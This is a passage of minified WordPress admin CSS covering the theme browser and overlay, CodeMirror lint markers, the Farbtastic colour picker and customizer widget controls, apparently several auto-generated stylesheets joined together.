dashicons;width:100px;height:100px;vertical-align:middle;text-align:center;color:#8c8f94;position:absolute;top:30%;right:50%;margin-right:-50px;text-indent:-4px;padding:0;text-shadow:none;z-index:4}.rtl .theme-browser .theme.add-new-theme span:after{text-indent:4px}.theme-browser .theme.add-new-theme a:focus .theme-screenshot,.theme-browser .theme.add-new-theme a:hover .theme-screenshot{background:0 0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{background:#fff;color:#2271b1}.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{border-color:transparent;color:#fff;background:#2271b1;content:""}.theme-browser .theme.add-new-theme .theme-name{background:0 0;text-align:center;box-shadow:none;font-weight:400;position:relative;top:0;margin-top:-18px;padding-top:0;padding-bottom:48px}.theme-browser .theme.add-new-theme a:focus .theme-name,.theme-browser .theme.add-new-theme a:hover .theme-name{color:#fff;z-index:2}.theme-overlay .theme-backdrop{position:absolute;right:-20px;left:0;top:0;bottom:0;background:#f0f0f1;background:rgba(240,240,241,.9);z-index:10000}.theme-overlay .theme-header{position:absolute;top:0;right:0;left:0;height:48px;border-bottom:1px solid #dcdcde}.theme-overlay .theme-header button{padding:0}.theme-overlay .theme-header .close{cursor:pointer;height:48px;width:50px;text-align:center;float:left;border:0;border-right:1px solid #dcdcde;background-color:transparent;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:before{font:normal 22px/50px dashicons!important;color:#787c82;display:inline-block;content:"\f335";font-weight:300}.theme-overlay .theme-header .left,.theme-overlay .theme-header .right{cursor:pointer;color:#787c82;background-color:transparent;height:48px;width:54px;float:right;text-align:center;border:0;border-left:1px solid #dcdcde;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .close:hover,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .left:hover,.theme-overlay .theme-header .right:focus,.theme-overlay .theme-header .right:hover{background:#dcdcde;border-color:#c3c4c7;color:#000}.theme-overlay .theme-header .close:focus:before,.theme-overlay .theme-header .close:hover:before{color:#000}.theme-overlay .theme-header .close:focus,.theme-overlay .theme-header .left:focus,.theme-overlay .theme-header .right:focus{box-shadow:none;outline:0}.theme-overlay .theme-header .left.disabled,.theme-overlay .theme-header .left.disabled:hover,.theme-overlay .theme-header .right.disabled,.theme-overlay .theme-header .right.disabled:hover{color:#c3c4c7;background:inherit;cursor:inherit}.theme-overlay .theme-header .left:before,.theme-overlay .theme-header .right:before{font:normal 20px/50px dashicons!important;display:inline;font-weight:300}.theme-overlay .theme-header .left:before{content:"\f345"}.theme-overlay .theme-header .right:before{content:"\f341"}.theme-overlay .theme-wrap{clear:both;position:fixed;top:9%;right:190px;left:30px;bottom:3%;background:#fff;box-shadow:0 1px 20px 5px rgba(0,0,0,.1);z-index:10000;box-sizing:border-box;-webkit-overflow-scrolling:touch}body.folded .theme-browser~.theme-overlay .theme-wrap{right:70px}.theme-overlay .theme-about{position:absolute;top:49px;bottom:57px;right:0;left:0;overflow:auto;padding:2% 4%}.theme-overlay .theme-actions{position:absolute;text-align:center;bottom:0;right:0;left:0;padding:10px 25px 5px;background:#f6f7f7;z-index:30;box-sizing:border-box;border-top:1px solid #f0f0f1;display:flex;justify-content:center;gap:5px}.theme-overlay .theme-actions .button{margin-bottom:5px}.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-background"],.customize-support .theme-overlay .theme-actions a[href="themes.php?page=custom-header"]{display:none}.broken-themes a.delete-theme,.theme-overlay .theme-actions .delete-theme{color:#b32d2e;text-decoration:none;border-color:transparent;box-shadow:none;background:0 0}.broken-themes a.delete-theme:focus,.broken-themes a.delete-theme:hover,.theme-overlay .theme-actions .delete-theme:focus,.theme-overlay .theme-actions .delete-theme:hover{background:#b32d2e;color:#fff;border-color:#b32d2e;box-shadow:0 0 0 1px #b32d2e}.theme-overlay .theme-actions .active-theme,.theme-overlay.active .theme-actions .inactive-theme{display:none}.theme-overlay .theme-actions .inactive-theme,.theme-overlay.active .theme-actions .active-theme{display:block}.theme-overlay .theme-screenshots{float:right;margin:0 0 0 30px;width:55%;max-width:1200px;text-align:center}.theme-overlay .screenshot{border:1px solid #fff;box-sizing:border-box;overflow:hidden;position:relative;box-shadow:0 0 0 1px rgba(0,0,0,.2)}.theme-overlay .screenshot:after{content:"";display:block;padding-top:75%}.theme-overlay .screenshot img{height:auto;position:absolute;right:0;top:0;width:100%}.theme-overlay.small-screenshot .theme-screenshots{position:absolute;width:302px}.theme-overlay.small-screenshot .theme-info{margin-right:350px;width:auto}.theme-overlay .screenshot.thumb{background:#c3c4c7;border:1px solid #f0f0f1;float:none;display:inline-block;margin:10px 5px 0;width:140px;height:80px;cursor:pointer}.theme-overlay .screenshot.thumb:after{content:"";display:block;padding-top:100%}.theme-overlay .screenshot.thumb img{cursor:pointer;height:auto;position:absolute;right:0;top:0;width:100%;height:auto}.theme-overlay .screenshot.selected{background:0 0;border:2px solid #72aee6}.theme-overlay .screenshot.selected img{opacity:.8}.theme-browser .theme .theme-screenshot.blank,.theme-overlay .screenshot.blank{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAgAAAAICAYAAADED76LAAAALElEQVQYGWO8d+/efwYkoKioiMRjYGBC4WHhUK6A8T8QIJt8//59ZC493AAAQssKpBK4F5AAAAAASUVORK5CYII=)}.theme-overlay .theme-info{width:40%;float:right}.theme-overlay .current-label{background:#2c3338;color:#fff;font-size:11px;display:inline-block;padding:2px 8px;border-radius:2px;margin:0 0 -10px;-webkit-user-select:none;user-select:none}.theme-overlay .theme-name{color:#1d2327;font-size:32px;font-weight:100;margin:10px 0 0;line-height:1.3;word-wrap:break-word;overflow-wrap:break-word}.theme-overlay .theme-version{color:#646970;font-size:13px;font-weight:400;float:none;display:inline-block;margin-right:10px}.theme-overlay .theme-author{margin:15px 0 25px;color:#646970;font-size:16px;font-weight:400;line-height:inherit}.theme-overlay .toggle-auto-update{display:inline-flex;align-items:center;min-height:20px;vertical-align:top}.theme-overlay .theme-autoupdate .toggle-auto-update{text-decoration:none}.theme-overlay .theme-autoupdate .toggle-auto-update .label{text-decoration:underline}.theme-overlay .theme-description{color:#50575e;font-size:15px;font-weight:400;line-height:1.5;margin:30px 0 0}.theme-overlay .theme-tags{border-top:3px solid #f0f0f1;color:#646970;font-size:13px;font-weight:400;margin:30px 0 0;padding-top:20px}.theme-overlay .theme-tags span{color:#3c434a;font-weight:600;margin-left:5px}.theme-overlay .parent-theme{background:#fff;border:1px solid #f0f0f1;border-right:4px solid #72aee6;font-size:14px;font-weight:400;margin-top:30px;padding:10px 20px 10px 10px}.theme-overlay .parent-theme strong{font-weight:600}.single-theme .theme,.single-theme .theme-overlay .theme-backdrop,.single-theme .theme-overlay .theme-header{display:none}.single-theme .theme-overlay .theme-wrap{clear:both;min-height:330px;position:relative;right:auto;left:auto;top:auto;bottom:auto;z-index:10}.single-theme .theme-overlay .theme-about{padding:30px 30px 70px;position:static}.single-theme .theme-overlay .theme-actions{position:absolute}@media only screen and (min-width:2000px){#wpwrap .theme-browser .theme{width:17.6%;margin:0 0 3% 3%}#wpwrap .theme-browser .theme:nth-child(3n),#wpwrap .theme-browser .theme:nth-child(4n){margin-left:3%}#wpwrap .theme-browser .theme:nth-child(5n){margin-left:0}}@media only screen and (min-width:1680px){.theme-overlay .theme-wrap{width:1450px;margin:0 auto}}@media only screen and (min-width:1640px){.theme-browser .theme{width:22.7%;margin:0 0 3% 3%}.theme-browser .theme .theme-screenshot:after{padding-top:75%}.theme-browser .theme:nth-child(3n){margin-left:3%}.theme-browser .theme:nth-child(4n){margin-left:0}}@media only screen and (max-width:1120px){.theme-browser .theme{width:47.5%;margin-left:0}.theme-browser .theme:nth-child(2n){margin-left:0}.theme-browser .theme:nth-child(odd){margin-left:5%}}@media only screen and (max-width:960px){.theme-overlay .theme-wrap{right:65px}}@media only screen and (max-width:782px){.theme-overlay .theme-wrap,body.folded .theme-overlay .theme-wrap{top:0;left:0;bottom:0;right:0;padding:70px 20px 20px;border:none;z-index:100000;position:fixed}.theme-browser .theme.active .theme-name span{display:none}.theme-overlay .theme-screenshots{width:40%}.theme-overlay .theme-info{width:50%}.single-theme .theme-wrap{padding:10px}.theme-browser .theme .theme-actions{padding:5px 10px 4px}.theme-overlay.small-screenshot .theme-screenshots{position:static;float:none;max-width:302px}.theme-overlay.small-screenshot .theme-info{margin-right:0;width:auto}.theme.focus .more-details,.theme:hover .more-details,.theme:not(.active):focus .theme-actions,.theme:not(.active):hover .theme-actions{display:none}.theme-browser.rendered .theme.focus .theme-screenshot img,.theme-browser.rendered .theme:hover .theme-screenshot img{opacity:1}}@media only screen and (max-width:480px){.theme-browser .theme{width:100%;margin-left:0}.theme-browser .theme:nth-child(2n),.theme-browser .theme:nth-child(3n){margin-left:0}.theme-overlay .theme-about{bottom:105px}.theme-overlay .theme-actions{padding-right:4%;padding-left:4%}}@media only screen and (max-width:650px){.theme-overlay .theme-description{margin-right:0}.theme-overlay .theme-actions .delete-theme{position:relative;left:auto;bottom:auto}.theme-overlay .theme-actions .inactive-theme{display:inline}.theme-overlay .theme-screenshots{width:100%;float:none}.theme-overlay .theme-info{width:100%}.theme-overlay .theme-author{margin:5px 0 15px}.theme-overlay .current-label{margin-top:10px;font-size:13px}.themes-php .wp-filter-search{float:none;clear:both;right:0;left:0;margin:-5px 0 20px;width:100%;max-width:280px}.theme-browser .theme.add-new-theme span:after{font:normal 60px/90px dashicons;width:80px;height:80px;top:30%;right:50%;text-indent:0;margin-right:-40px}.single-theme .theme-wrap{margin:0 -10px 0 -12px;padding:10px}.single-theme .theme-overlay .theme-about{padding:10px;overflow:visible}.single-theme .current-label{display:none}.single-theme .theme-overlay .theme-actions{position:static}}.broken-themes{clear:both}.broken-themes table{text-align:right;width:50%;border-spacing:3px;padding:3px}.update-php .wrap{max-width:40rem}.theme-browser .theme .theme-installed{background:#2271b1}.theme-browser .theme .notice-success p:before{color:#68de7c;content:"\f147";display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.theme-install.updated-message:before{content:""}.theme-install-php .wp-filter{padding-right:20px}.theme-install-php a.browse-themes,.theme-install-php a.upload{cursor:pointer}.plugin-install-tab-upload .upload-view-toggle .upload,.upload-view-toggle .browse{display:none}.plugin-install-tab-upload .upload-view-toggle .browse{display:inline}.upload-plugin,.upload-theme{box-sizing:border-box;display:none;margin:0;padding:50px 0;width:100%;overflow:hidden;position:relative;top:10px;text-align:center}.plugin-install-tab-upload .upload-plugin,.show-upload-view .upload-plugin,.show-upload-view .upload-plugin-wrap,.show-upload-view .upload-theme{display:block}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{background:#f6f7f7;border:1px solid #c3c4c7;padding:30px;margin:30px auto;display:inline-flex;justify-content:space-between;align-items:center}.upload-plugin .wp-upload-form input[type=file],.upload-theme .wp-upload-form input[type=file]{margin-left:10px}.upload-plugin .install-help,.upload-theme .install-help{color:#50575e;font-size:18px;font-style:normal;margin:0;padding:0;text-align:center}p.no-themes,p.no-themes-local{clear:both;color:#646970;font-size:18px;font-style:normal;margin:0;padding:100px 0;text-align:center;display:none}.no-results p.no-themes{display:block}.theme-install-php .add-new-theme{display:none!important}@media only screen and (max-width:1120px){.upload-theme .wp-upload-form{margin:20px 0;max-width:100%}.upload-theme .install-help{font-size:15px;padding:20px 0 0}}.theme-details .theme-rating{line-height:1.9}.theme-details .star-rating{display:inline}.theme-details .no-rating,.theme-details .num-ratings{font-size:11px;color:#646970}.theme-details .no-rating{display:block;line-height:1.9}.update-from-upload-comparison{border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde;text-align:right;margin:1rem 0 1.4rem;border-collapse:collapse;width:100%}.update-from-upload-comparison tr:last-child td{height:1.4rem;vertical-align:top}.update-from-upload-comparison tr:first-child th{font-weight:700;height:1.4rem;vertical-align:bottom}.update-from-upload-comparison td.name-label{text-align:left}.update-from-upload-comparison td,.update-from-upload-comparison th{padding:.4rem 1.4rem}.update-from-upload-comparison td.warning{color:#d63638}.update-from-upload-actions{margin-top:1.4rem}.appearance_page_custom-header #headimg{border:1px solid #dcdcde;overflow:hidden;width:100%}.appearance_page_custom-header #upload-form p label{font-size:12px}.appearance_page_custom-header .available-headers .default-header{float:right;margin:0 0 20px 20px}.appearance_page_custom-header .random-header{clear:both;margin:0 0 20px 20px;vertical-align:middle}.appearance_page_custom-header .available-headers label input,.appearance_page_custom-header .random-header label input{margin-left:10px}.appearance_page_custom-header .available-headers label img{vertical-align:middle}div#custom-background-image{min-height:100px;border:1px solid #dcdcde}div#custom-background-image img{max-width:400px;max-height:300px}.background-position-control input[type=radio]:checked~.button{background:#f0f0f1;border-color:#8c8f94;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);z-index:1}.background-position-control input[type=radio]:focus~.button{border-color:#4f94d4;box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 3px rgba(34,113,177,.8);color:#1d2327}.background-position-control .background-position-center-icon,.background-position-control .background-position-center-icon:before{display:inline-block;line-height:1;text-align:center;transition:background-color .1s ease-in}.background-position-control .background-position-center-icon{height:20px;margin-top:13px;vertical-align:top;width:20px}.background-position-control .background-position-center-icon:before{background-color:#50575e;border-radius:50%;content:"";height:12px;width:12px}.background-position-control .button:hover .background-position-center-icon:before,.background-position-control input[type=radio]:focus~.button .background-position-center-icon:before{background-color:#1d2327}.background-position-control .button-group{display:block}.background-position-control .button-group .button{border-radius:0;box-shadow:none;height:40px!important;line-height:2.9!important;margin:0 0 0 -1px!important;padding:0 10px 1px!important;position:relative}.background-position-control .button-group .button:active,.background-position-control .button-group .button:focus,.background-position-control .button-group .button:hover{z-index:1}.background-position-control .button-group:last-child .button{box-shadow:0 1px 0 #c3c4c7}.background-position-control .button-group>label{margin:0!important}.background-position-control .button-group:first-child>label:first-child .button{border-radius:0 3px 0 0}.background-position-control .button-group:first-child>label:first-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group:first-child>label:last-child .button{border-radius:3px 0 0 0}.background-position-control .button-group:first-child>label:last-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group:last-child>label:first-child .button{border-radius:0 0 3px 0}.background-position-control .button-group:last-child>label:first-child .dashicons{transform:rotate(45deg)}.background-position-control .button-group:last-child>label:last-child .button{border-radius:0 0 0 3px}.background-position-control .button-group:last-child>label:last-child .dashicons{transform:rotate(-45deg)}.background-position-control .button-group .dashicons{margin-top:9px}.background-position-control .button-group+.button-group{margin-top:-1px}body.full-overlay-active{overflow:hidden;visibility:hidden}.wp-full-overlay{background:0 0;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;right:0;left:0;height:100%;min-width:0}.wp-full-overlay-sidebar{box-sizing:border-box;position:fixed;min-width:300px;max-width:600px;width:18%;height:100%;top:0;bottom:0;right:0;padding:0;margin:0;z-index:10;background:#f0f0f1;border-left:none}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{overflow:visible}.wp-full-overlay.collapsed,.wp-full-overlay.expanded .wp-full-overlay-sidebar{margin-right:0!important}.wp-full-overlay.expanded{margin-right:300px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-right:-300px}@media screen and (min-width:1667px){.wp-full-overlay.expanded{margin-right:18%}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-right:-18%}}@media screen and (min-width:3333px){.wp-full-overlay.expanded{margin-right:600px}.wp-full-overlay.collapsed .wp-full-overlay-sidebar{margin-right:-600px}}.wp-full-overlay-sidebar:after{content:"";display:block;position:absolute;top:0;bottom:0;left:0;width:3px;z-index:1000}.wp-full-overlay-main{position:absolute;right:0;left:0;top:0;bottom:0;height:100%}.wp-full-overlay-sidebar .wp-full-overlay-header{position:absolute;right:0;left:0;height:45px;padding:0 15px;line-height:3.2;z-index:10;margin:0;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-header a.back{margin-top:9px}.wp-full-overlay-sidebar .wp-full-overlay-footer{bottom:0;border-bottom:none;border-top:none;box-shadow:none}.wp-full-overlay-sidebar .wp-full-overlay-sidebar-content{position:absolute;top:45px;bottom:45px;right:0;left:0;overflow:auto}.theme-install-overlay .wp-full-overlay-sidebar .wp-full-overlay-header{padding:0}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{display:block;position:relative;float:right;width:45px;height:45px;background:#f0f0f1;border-left:1px solid #dcdcde;color:#3c434a;cursor:pointer;text-decoration:none;transition:color .1s ease-in-out,background .1s ease-in-out}.theme-install-overlay .close-full-overlay:focus,.theme-install-overlay .close-full-overlay:hover,.theme-install-overlay .next-theme:focus,.theme-install-overlay .next-theme:hover,.theme-install-overlay .previous-theme:focus,.theme-install-overlay .previous-theme:hover{background:#dcdcde;border-color:#c3c4c7;color:#000;outline:0;box-shadow:none}.theme-install-overlay .close-full-overlay:before{font:normal 22px/1 dashicons;content:"\f335";position:relative;top:7px;right:13px}.theme-install-overlay .previous-theme:before{font:normal 20px/1 dashicons;content:"\f345";position:relative;top:6px;right:14px}.theme-install-overlay .next-theme:before{font:normal 20px/1 dashicons;content:"\f341";position:relative;top:6px;right:13px}.theme-install-overlay .next-theme.disabled,.theme-install-overlay .next-theme.disabled:focus,.theme-install-overlay .next-theme.disabled:hover,.theme-install-overlay .previous-theme.disabled,.theme-install-overlay .previous-theme.disabled:focus,.theme-install-overlay .previous-theme.disabled:hover{color:#c3c4c7;background:#f0f0f1;cursor:default;pointer-events:none}.theme-install-overlay .close-full-overlay,.theme-install-overlay .next-theme,.theme-install-overlay .previous-theme{border-right:0;border-top:0;border-bottom:0}.theme-install-overlay .close-full-overlay:before,.theme-install-overlay .next-theme:before,.theme-install-overlay .previous-theme:before{top:2px;right:0}.wp-core-ui .wp-full-overlay .collapse-sidebar{position:fixed;bottom:0;right:0;padding:9px 10px 9px 0;height:45px;color:#646970;outline:0;line-height:1;background-color:transparent!important;border:none!important;box-shadow:none!important;border-radius:0!important}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#2271b1}.wp-full-overlay .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar-label{display:inline-block;vertical-align:middle;line-height:1.6}.wp-full-overlay .collapse-sidebar-arrow{width:20px;height:20px;margin:0 2px;border-radius:50%;overflow:hidden}.wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.wp-full-overlay .collapse-sidebar-label{margin-right:3px}.wp-full-overlay.collapsed .collapse-sidebar-label{display:none}.wp-full-overlay .collapse-sidebar-arrow:before{display:block;content:"\f148";background:#f0f0f1;font:normal 20px/1 dashicons;speak:never;padding:0;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-core-ui .wp-full-overlay.collapsed .collapse-sidebar{padding:9px 10px}.rtl .wp-full-overlay .collapse-sidebar-arrow:before,.wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:rotate(180.001deg)}.rtl .wp-full-overlay.collapsed .collapse-sidebar-arrow:before{transform:none}.wp-full-overlay,.wp-full-overlay .collapse-sidebar,.wp-full-overlay-main,.wp-full-overlay-sidebar{transition-property:right,left,top,bottom,width,margin;transition-duration:.2s}.wp-full-overlay{background:#1d2327}.wp-full-overlay-main{background-color:#f0f0f1}.expanded .wp-full-overlay-footer{position:fixed;bottom:0;right:0;min-width:299px;max-width:599px;width:18%;width:calc(18% - 1px);height:45px;border-top:1px solid #dcdcde;background:#f0f0f1}.wp-full-overlay-footer .devices-wrapper{float:left}.wp-full-overlay-footer .devices{position:relative;background:#f0f0f1;box-shadow:20px 0 10px -5px #f0f0f1}.wp-full-overlay-footer .devices button{cursor:pointer;background:0 0;border:none;height:45px;padding:0 3px;margin:0 -4px 0 0;box-shadow:none;border-top:1px solid transparent;border-bottom:4px solid transparent;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}.wp-full-overlay-footer .devices button:focus{box-shadow:none;outline:0}.wp-full-overlay-footer .devices button:before{display:inline-block;-webkit-font-smoothing:antialiased;font:normal 20px/30px dashicons;vertical-align:top;margin:3px 0;padding:4px 8px;color:#646970}.wp-full-overlay-footer .devices button.active{border-bottom-color:#1d2327}.wp-full-overlay-footer .devices button:focus,.wp-full-overlay-footer .devices button:hover{background-color:#fff}.wp-full-overlay-footer .devices button.active:hover,.wp-full-overlay-footer .devices button:focus{border-bottom-color:#2271b1}.wp-full-overlay-footer .devices button.active:before{color:#1d2327}.wp-full-overlay-footer .devices button:focus:before,.wp-full-overlay-footer .devices button:hover:before{color:#2271b1}.wp-full-overlay-footer .devices .preview-desktop:before{content:"\f472"}.wp-full-overlay-footer .devices .preview-tablet:before{content:"\f471"}.wp-full-overlay-footer .devices .preview-mobile:before{content:"\f470"}@media screen and (max-width:1024px){.wp-full-overlay-footer .devices{display:none}}.collapsed .wp-full-overlay-footer .devices button:before{display:none}.preview-mobile .wp-full-overlay-main{margin:auto -160px auto 0;width:320px;height:480px;max-height:100%;max-width:100%;right:50%}.preview-tablet .wp-full-overlay-main{margin:auto -360px auto 0;width:720px;height:1080px;max-height:100%;max-width:100%;right:50%}.customize-support .hide-if-customize,.customize-support .wp-core-ui .hide-if-customize,.customize-support.wp-core-ui .hide-if-customize,.no-customize-support .hide-if-no-customize,.no-customize-support .wp-core-ui .hide-if-no-customize,.no-customize-support.wp-core-ui .hide-if-no-customize{display:none}#customize-container,#customize-controls .notice.notification-overlay{background:#f0f0f1;z-index:500000;position:fixed;overflow:visible;top:0;bottom:0;right:0;left:0;height:100%}#customize-container{display:none}#customize-container,.theme-install-overlay{visibility:visible}.customize-loading #customize-container iframe{opacity:0}#customize-container iframe,.theme-install-overlay iframe{height:100%;width:100%;z-index:20;transition:opacity .3s}#customize-controls{margin-top:0}.theme-install-overlay{display:none}.theme-install-overlay.single-theme{display:block}.install-theme-info{display:none;padding:10px 20px 60px}.single-theme .install-theme-info{padding-top:15px}.theme-install-overlay .install-theme-info{display:block}.install-theme-info .theme-install{float:left;margin-top:18px}.install-theme-info .theme-name{font-size:16px;line-height:1.5;margin-bottom:0;margin-top:0}.install-theme-info .theme-screenshot{margin:15px 0;width:258px;border:1px solid #c3c4c7;position:relative;overflow:hidden}.install-theme-info .theme-screenshot>img{width:100%;height:auto;position:absolute;right:0;top:0}.install-theme-info .theme-screenshot:after{content:"";display:block;padding-top:66.66666666%}.install-theme-info .theme-details{overflow:hidden}.theme-details .theme-version{margin:15px 0}.theme-details .theme-description{float:right;color:#646970;line-height:1.6;max-width:100%}.theme-install-overlay .wp-full-overlay-header .button{float:left;margin:8px 0 0 10px}.theme-install-overlay .wp-full-overlay-sidebar{background:#f0f0f1;border-left:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-sidebar-content{background:#fff;border-top:1px solid #dcdcde;border-bottom:1px solid #dcdcde}.theme-install-overlay .wp-full-overlay-main{position:absolute;z-index:0;background-color:#f0f0f1}.customize-loading #customize-container{background-color:#f0f0f1}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{content:"";display:block;width:20px;height:20px;position:absolute;right:50%;top:50%;z-index:-1;margin:-10px -10px 0 0;transform:translateZ(0);background:transparent url(../images/spinner.gif) no-repeat center center;background-size:20px 20px}#customize-preview.wp-full-overlay-main.iframe-ready:before,.theme-install-overlay.iframe-ready .wp-full-overlay-main:before{background-image:none}@media print,(min-resolution:120dpi){.wp-full-overlay .collapse-sidebar-arrow{background-image:url(../images/arrows-2x.png);background-size:15px 123px}#customize-controls .notice.notification-overlay.notification-loading:before,#customize-preview.wp-full-overlay-main:before,.customize-loading #customize-container:before,.theme-install-overlay .wp-full-overlay-main:before{background-image:url(../images/spinner-2x.gif)}}@media screen and (max-width:782px){.available-theme .action-links .delete-theme{float:none;margin:0;padding:0;clear:both}.available-theme .action-links .delete-theme a{padding:0}.broken-themes table{width:100%}.theme-install-overlay .wp-full-overlay-header .button{font-size:13px;line-height:2.15384615;min-height:30px}.theme-browser .theme .theme-actions .button{margin-bottom:0}.theme-browser .theme .theme-actions,.theme-browser .theme.active .theme-actions{padding-top:4px;padding-bottom:4px}.upload-plugin .wp-upload-form,.upload-theme .wp-upload-form{display:block}}@media aural{.theme .notice:before,.theme-info .updated-message:before,.theme-info .updating-message:before,.theme-install.updating-message:before{speak:never}}/*! This file is auto-generated */
.wp-core-ui [class*=CodeMirror-lint-message],.wrap .CodeMirror-lint-marker-multiple,.wrap [class*=CodeMirror-lint-marker]{background-image:none}.wp-core-ui .CodeMirror-lint-marker-error,.wp-core-ui .CodeMirror-lint-marker-warning{cursor:help}.wrap .CodeMirror-lint-marker-multiple{position:absolute;top:0}.wrap [class*=CodeMirror-lint-marker]:before{font:normal 18px/1 dashicons;position:relative;top:-2px}.wp-core-ui [class*=CodeMirror-lint-message]:before{font:normal 16px/1 dashicons;left:16px;position:absolute}.wp-core-ui .CodeMirror-lint-message-error,.wp-core-ui .CodeMirror-lint-message-warning{box-shadow:0 1px 1px 0 rgba(0,0,0,.1);margin:5px 0 2px;padding:3px 12px 3px 28px}.wp-core-ui .CodeMirror-lint-message-warning{background-color:#fcf9e8;border-left:4px solid #dba617}.wp-core-ui .CodeMirror-lint-message-warning:before,.wrap .CodeMirror-lint-marker-warning:before{content:"\f534";color:#dba617}.wp-core-ui .CodeMirror-lint-message-error{background-color:#fcf0f1;border-left:4px solid #d63638}.wp-core-ui .CodeMirror-lint-message-error:before,.wrap .CodeMirror-lint-marker-error:before{content:"\f153";color:#d63638}.wp-core-ui .CodeMirror-lint-tooltip{background:0 0;border:none;border-radius:0;direction:ltr}.wrap .CodeMirror .CodeMirror-matchingbracket{background:rgba(219,166,23,.3);color:inherit}.CodeMirror{text-align:left}.wrap .CodeMirror .CodeMirror-linenumber{color:#646970}/*! This file is auto-generated */

.farbtastic {
  position: relative;
}

.farbtastic * {
  position: absolute;
  cursor: crosshair;
}

.farbtastic,
.farbtastic .wheel {
  width: 195px;
  height: 195px;
}

.farbtastic .color,
.farbtastic .overlay {
  top: 47px;
  right: 47px;
  width: 101px;
  height: 101px;
}

.farbtastic .wheel {
  background: url(../images/wheel.png) no-repeat;
  width: 195px;
  height: 195px;
}

.farbtastic .overlay {
  background: url(../images/mask.png) no-repeat;
}

.farbtastic .marker {
  width: 17px;
  height: 17px;
  margin: -8px -8px 0 0;
  overflow: hidden;
  background: url(../images/marker.png) no-repeat;
}
/*! This file is auto-generated */
.wp-full-overlay-sidebar{overflow:visible}.control-section.control-section-sidebar,.customize-control-sidebar_widgets .hide-if-js,.customize-control-sidebar_widgets label{display:none}.control-section.control-section-sidebar .accordion-section-content.ui-sortable{overflow:visible}.customize-control-widget_form .widget-top{background:#fff;transition:opacity .5s}.customize-control .widget-action{color:#787c82}.customize-control .widget-action:focus,.customize-control .widget-top:hover .widget-action{color:#1d2327}.customize-control-widget_form:not(.widget-rendered) .widget-top{opacity:.5}.customize-control-widget_form .widget-control-save{display:none}.customize-control-widget_form .spinner{visibility:hidden;margin-top:0}.customize-control-widget_form.previewer-loading .spinner{visibility:visible}.customize-control-widget_form.widget-form-disabled .widget-content{opacity:.7;pointer-events:none;-webkit-user-select:none;user-select:none}.customize-control-widget_form .widget{margin-bottom:0}.customize-control-widget_form.wide-widget-control .widget-inside{position:fixed;right:299px;top:25%;border:1px solid #dcdcde;overflow:auto}.customize-control-widget_form.wide-widget-control .widget-inside>.form{padding:20px}.customize-control-widget_form.wide-widget-control .widget-top{transition:background-color .4s}.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top,.customize-control-widget_form.wide-widget-control.expanding .widget-top{background-color:#dcdcde}.widget-inside{padding:1px 10px 10px;border-top:none;line-height:1.23076923}.customize-control-widget_form.expanded .widget-action .toggle-indicator:before{content:"\f142"}.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before{content:"\f141"}.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before{content:"\f139"}.widget-title-action{cursor:pointer}.customize-control-widget_form .widget .customize-control-title,.widget-top{cursor:move}.control-section.accordion-section.highlighted>.accordion-section-title,.customize-control-widget_form.highlighted{outline:0;box-shadow:0 0 2px rgba(79,148,212,.8);position:relative;z-index:1}#widget-customizer-control-templates{display:none}#customize-theme-controls .widget-reorder-nav{display:none;float:left;background-color:#f6f7f7}.move-widget:before{content:"\f504"}#customize-theme-controls .move-widget-area{display:none;background:#fff;border:1px solid #c3c4c7;border-top:none;cursor:auto}#customize-theme-controls .reordering .move-widget-area.active{display:block}#customize-theme-controls .move-widget-area .description{margin:0;padding:15px 20px;font-weight:400}#customize-theme-controls .widget-area-select{margin:0;padding:0;list-style:none}#customize-theme-controls .widget-area-select li{position:relative;margin:0;padding:13px 42px 15px 15px;color:#50575e;border-top:1px solid #c3c4c7;cursor:pointer;-webkit-user-select:none;user-select:none}#customize-theme-controls .widget-area-select li:before{display:none;content:"\f147";position:absolute;top:12px;right:10px;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#customize-theme-controls .widget-area-select li:last-child{border-bottom:1px solid #c3c4c7}#customize-theme-controls .widget-area-select .selected{color:#fff;background:#2271b1}#customize-theme-controls .widget-area-select .selected:before{display:block}#customize-theme-controls .move-widget-actions{text-align:left;padding:12px}#customize-theme-controls .reordering .widget-title-action{display:none}#customize-theme-controls .reordering 